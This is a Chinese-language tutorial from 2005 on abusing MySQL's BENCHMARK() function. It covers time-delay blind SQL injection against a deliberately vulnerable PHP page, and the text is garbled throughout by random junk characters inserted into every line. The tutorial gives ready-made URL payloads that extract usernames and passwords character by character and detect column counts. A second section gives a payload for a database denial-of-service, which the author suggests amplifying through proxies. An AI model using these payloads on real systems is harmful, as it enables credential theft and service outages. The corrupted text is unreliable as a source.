MYSQL中BENCHMARK函数的利用
% ]& r8 j! l3 [9 y8 U- |3 b& {( b本文作者:SuperHei
* h1 Q/ ^6 c! O文章性质:原创6 z, k, j% f; v0 {% C
发布日期:2005-01-02
% Z' L; z8 R* m+ y7 \; f完成日期:2004-07-09
' k) W0 w4 k: {! r8 I第一部0 I0 ]& G4 o0 M' H
3 @' L* u, K6 i; ]$ ^
利用时间推延进行注射---BENCHMARK函数在注射中的利用
1 h2 g9 l$ I& J; `/ q; J3 a( V7 N" F& ~6 N! i: K2 S
一.前言/思路
$ z0 b" [2 q h* r4 [0 }8 Z8 t& u. c7 a! ?
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
2 o$ k) v n/ \4 z: {9 p+ y$ g% j- A' s
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
2 Q3 W2 {) _9 e+ k7 {3 j" R. |9 \, F. U* I7 X1 m5 }
二.关于BENCHMARK函数1 ^2 q8 a. r& x. A
$ i! a3 g1 S% i7 ]: z 在MySQL参考手册里可以看到如下描叙: 4 y( w$ N0 i" y0 T* q2 J
- l ~; Q$ [ C+ c# [4 R
$ _: f. {0 x& X3 O% F. K/ c
--------------------------------------------------------------------------------
V8 }# r7 [7 D: q P( t7 C U X
$ r# s$ @3 C- G: ZBENCHMARK(count,expr)
3 x: o% h" H1 W, {' VBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
7 b2 e, J$ f8 j [: |5 S* k2 Qmysql> select BENCHMARK(1000000,encode("hello","goodbye")); , A" s0 Z) H3 j% ^9 h/ Y/ J% }
+----------------------------------------------+ # J/ e) A# |8 J2 u* T2 n: X& S( i A6 K
| BENCHMARK(1000000,encode("hello","goodbye")) | $ V$ u# |& N/ k
+----------------------------------------------+ : A" g& ]8 v. ~: p: t W
| 0 | 9 I; u/ b4 F8 s. C+ i
+----------------------------------------------+
2 Y+ E5 s0 \8 s- I0 i* J1 row in set (4.74 sec)
8 L% Y* p( d: e, q) L, c
7 W% f; j5 J$ z% `报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
3 }1 V" x4 G! M0 e1 r6 P, G
0 \; p/ Q* }; u, p% V' g; g/ ~# Q) T6 z7 C: o, O2 f# z
--------------------------------------------------------------------------------
0 Y/ Q: [1 V0 E1 W/ Q [ \: x
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 5 o/ ~) ^) ? z/ z# |
8 w2 _8 j* W X# E& B1 U
mysql> select md5( 'test' );
! i0 m& g. ^+ I5 y4 c: I+----------------------------------+ ) _- a6 m+ L6 E" Q, u/ P
| md5( 'test' ) |
: V. @* ~' Y- r7 G* p+----------------------------------+
* L" Q0 A ]) r: X" R1 F| 098f6bcd4621d373cade4e832627b4f6 | 5 z1 [( T1 Q) x y
+----------------------------------+
3 i P2 h5 b7 N5 W2 ^' J1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
' Z0 N; ~3 ?! |7 `7 p* N8 i+ G% _( g4 L. I7 X
mysql> select benchmark( 500000, md5( 'test' ) ); _9 T" g/ R) v: U4 W% X
+------------------------------------+ * ?. X( q" I" T" n* t5 b4 T
| benchmark( 500000, md5( 'test' ) ) | # k6 W. [' D0 L1 w3 F
+------------------------------------+
/ r* y# g6 w3 k: c6 t: b- x| 0 |
& S4 |- E9 P4 G/ Q+------------------------------------+
+ O- d! b9 j2 Z9 O4 k% f; K1 row in set (6.55 sec) 〈------------执行时间为6.55 sec A& b/ b/ J2 w; A( a
9 }6 { Q' `6 Z! S3 z
: E$ I5 \. k' Q$ B
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 + v0 C: i& V* R3 ^+ X `7 D' T
" ]% ~$ l. }; r* e3 F$ f& q+ `三.具体例子; P. D4 A7 {. p' J3 n( @
9 v) s6 M$ O( C1 w9 c
首先我们看个简单的php代码:
$ a5 H' n* m" V% ^, C+ w- M
& q: v' s. J: [: J3 A< ?php & I/ r' ?/ U2 }" Q; C: Q; Z2 H4 d/ A
$servername = "localhost"; 1 E9 q' \2 I& C+ X2 X3 `
$dbusername = "root"; ' G0 @* P& ^, T4 H' y7 U) Y
$dbpassword = "";
) Q; ?, G* D6 m7 ?; r8 R8 P# Q$dbname = "injection"; 7 K' h* p6 B; K: {5 N) V6 g2 i9 R
2 p9 i9 i) Y( e6 ]1 hmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 2 |6 g6 s! w! }9 A6 a* r2 {# x# g
, o, w' b% O) D6 Q; l
$sql = "SELECT * FROM article WHERE articleid=$id"; ; u! I2 }. o2 o/ H. \9 Y8 r
$result = mysql_db_query($dbname,$sql); 7 }6 p* I) K$ I$ \2 p" i1 F
$row = mysql_fetch_array($result);
5 P: ]1 U" h. @0 y
' {5 Z* Y T( g1 Y/ a$ oif (!$row)
# ^7 K! l8 v0 A: G{ # y0 C% k. Z& p; P* a! Y$ @
exit;
1 t+ w; O9 ]: J$ m9 u, h/ H; A}
7 o& S" r. h7 M3 j) I?>0 N. R' f# I: l% c0 O
3 d% v7 ]! k6 P1 _8 [1 b& r" |" u9 C, z; o2 p. z
数据库injection结构和内容如下:0 p( g# R. v' N* ?. @2 L) @& E1 I
- j7 U/ n) c" g6 {) e" i' J# 数据库 : `injection` 0 t2 n t }: J+ A$ I
#
, |2 G/ ^. U7 _4 I0 l; w* k. T: E3 `& p6 }2 h1 p
# --------------------------------------------------------
* M! O3 k7 [6 T! e( h- u9 k+ v0 j5 O9 y [* L4 ~ z+ D% S
#
# K# Q0 t( J$ w2 ?# 表的结构 `article` 6 Y" {& b9 I v& C# i
#
2 R! S# D0 p9 m2 [9 t Z, n# [3 ?& \; i P" V1 ]3 B! V$ i! q, l
CREATE TABLE `article` (
2 c- U* K+ ` H# j/ ~0 G; k`articleid` int(11) NOT NULL auto_increment, % Q+ F" j+ e5 W3 C/ k3 d3 y
`title` varchar(100) NOT NULL default '', " V2 F! X$ v6 x8 H: A0 Q/ ^
`content` text NOT NULL, 7 q8 K) D. `" K* c- }6 i7 N
PRIMARY KEY (`articleid`) ( e# y5 J _4 r" Y8 [
) TYPE=MyISAM AUTO_INCREMENT=3 ;
6 ^* K0 r6 s3 n g& s. b9 J
% G( j* M5 r; Q8 H2 k1 J( ]# 3 D5 X# ^ u4 |9 S
# 导出表中的数据 `article`
$ y' J- @/ _6 l: V/ n. j( v! J) {! d# 0 `, m7 A1 r' b' F, Q
$ B/ k( [; B1 z$ e C
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
0 x; R0 b: e& j3 W% TINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 3 U% q1 G, I" B1 V/ \8 v$ g8 y! d
' Q( [1 n0 |# }. N9 B; G' z8 k4 `
# --------------------------------------------------------
, y m- e9 ^- {
! n! X; @9 {8 m2 M% L+ p3 y#
; ^3 F( e1 _, B2 Y3 Z, J v- k6 q$ _- _# 表的结构 `user` ' N0 W5 ]4 t% P! k- ~9 }
# 5 D' o' P- G& k/ }9 ?, k2 `
9 f% H# T) d$ o0 R% y. X
CREATE TABLE `user` ( : B9 f8 N n+ l- m5 X7 y" ^0 G
`userid` int(11) NOT NULL auto_increment, 8 t3 }! [1 A* Q/ ` k1 `
`username` varchar(20) NOT NULL default '', 9 z8 x9 H: A7 u8 o" L
`password` varchar(20) NOT NULL default '', 4 }+ P6 @" V8 t/ w. w4 U& o
PRIMARY KEY (`userid`)
( x, \3 J4 @' j) TYPE=MyISAM AUTO_INCREMENT=3 ; 4 H$ k' B7 a$ i3 }( ~, A
3 q: v, q" _+ n/ j# K3 [, {
#
3 ^2 P- V6 _4 C, L9 S2 x! s7 A# 导出表中的数据 `user` ' j) i) m! R$ S! [
# / F# v: f3 v [
3 ]# }, I: s. `9 {
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
, ?, o, L4 ]) ^8 u* j% i3 rINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
4 B' P7 V8 I1 `3 P- p; z2 H, q3 F % C0 L0 ~; U7 U7 e2 d9 h, Q: G
+ x2 d5 m1 \# q! I+ I# k 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:) M' u: x/ D* |7 [( v x# J2 T
+ z a) [: J/ b2 O9 |+ oid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*8 ~: n3 w* |0 v& a4 t
c2 A0 H% ~- u: {
- W2 t3 @9 I _: K
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
) H0 }- W; P. D7 b: s# C9 P3 E: T, H$ e& H' Z
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
# X! _( v7 k7 A& |, r2 q9 } 7 F: C6 G1 W3 V+ }$ ^: t+ q5 t% x0 T
, h% q4 K) ?' Y3 V5 M) w 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 0 e; Y2 e* a6 W9 U
, G' K8 t1 l- g3 q2 s, b
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 6 k7 g# u& f; H W5 C1 _+ l, { }
9 v. J: P) j! u! Y: }1 H
第二部; @7 k* b- g7 |) Z: M" u0 O
6 H P! |1 t6 c- h利用BENCHMARK函数进行ddos攻击
- S$ P% p) o6 @- H1 C& p9 f2 w1 Y$ b! w( t7 }& v/ r! L; v' ?. s
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:" A4 b+ z# ]8 O j
( z: b4 b4 }0 f% V; t
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))9 P1 k9 O1 u- k q: W% t
# }* H2 ~5 U9 w+ W( D. G% b, G8 r5 S& G# X
小结
# F" Q- h; B9 O: b
1 n0 e1 Z, Q8 I( S( L 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
6 e5 M4 E2 F' Q0 l3 m 5 E' P( ^4 V3 f/ ]$ {
# k( w# F$ E. P" |7 w! l9 z
|